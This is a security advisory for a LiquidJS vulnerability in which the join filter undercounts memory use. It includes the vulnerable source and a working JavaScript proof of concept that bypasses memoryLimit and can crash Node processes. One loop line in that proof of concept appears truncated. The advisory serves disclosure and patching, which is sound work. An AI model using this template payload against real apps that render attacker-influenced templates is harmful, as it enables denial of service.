GitHub Advisoryadvisory · npm
GHSA-4r6h-5v86-94p3 LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
HIGH
Official page ↗
- Aliases
- CVE-2026-69222
- Ecosystem
- npm
- Packages
- liquidjs
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2026-09-08
Affected packages
• npm liquidjs: < 10.27.2 → fixed in 10.27.2
Description
Summary
The `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element count, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`.
Details
```js
// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
const array = toArray(v)
const sep = isNil(arg) ? ' ' : stringify(arg)
const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes
this.context.memoryLimit.use(complexity)
return array.join(sep) // allocates sum(element lengths) + separators
})
```
`concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that.
Same undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect.
PoC
Live-reproduced against `[email protected]`, Node v24.3.0.
```javascript
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense
const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;
const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len); // output length: 40960000
```
Verified by binary-search on `memoryLimit`: render is blocked at 29573, succeeds at 29574 — confirming total charge across `split`+13×`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash.
Impact
Any app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`'s own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that `join`'s charge is wrong relative to what it allocates.)
Related
Alias · CVE (1)
- CVE-2026-69222 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://github.com/harttle/liquidjs/security/advisories/GHSA-4r6h-5v86-94p3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-69222 advisory
- https://github.com/harttle/liquidjs/pull/925 web
- https://github.com/harttle/liquidjs/commit/7ab49f999ac045ec1e87f3a7a9fd68dd9e8602b3 web
- https://github.com/harttle/liquidjs package
- https://github.com/harttle/liquidjs/releases/tag/v10.27.2 web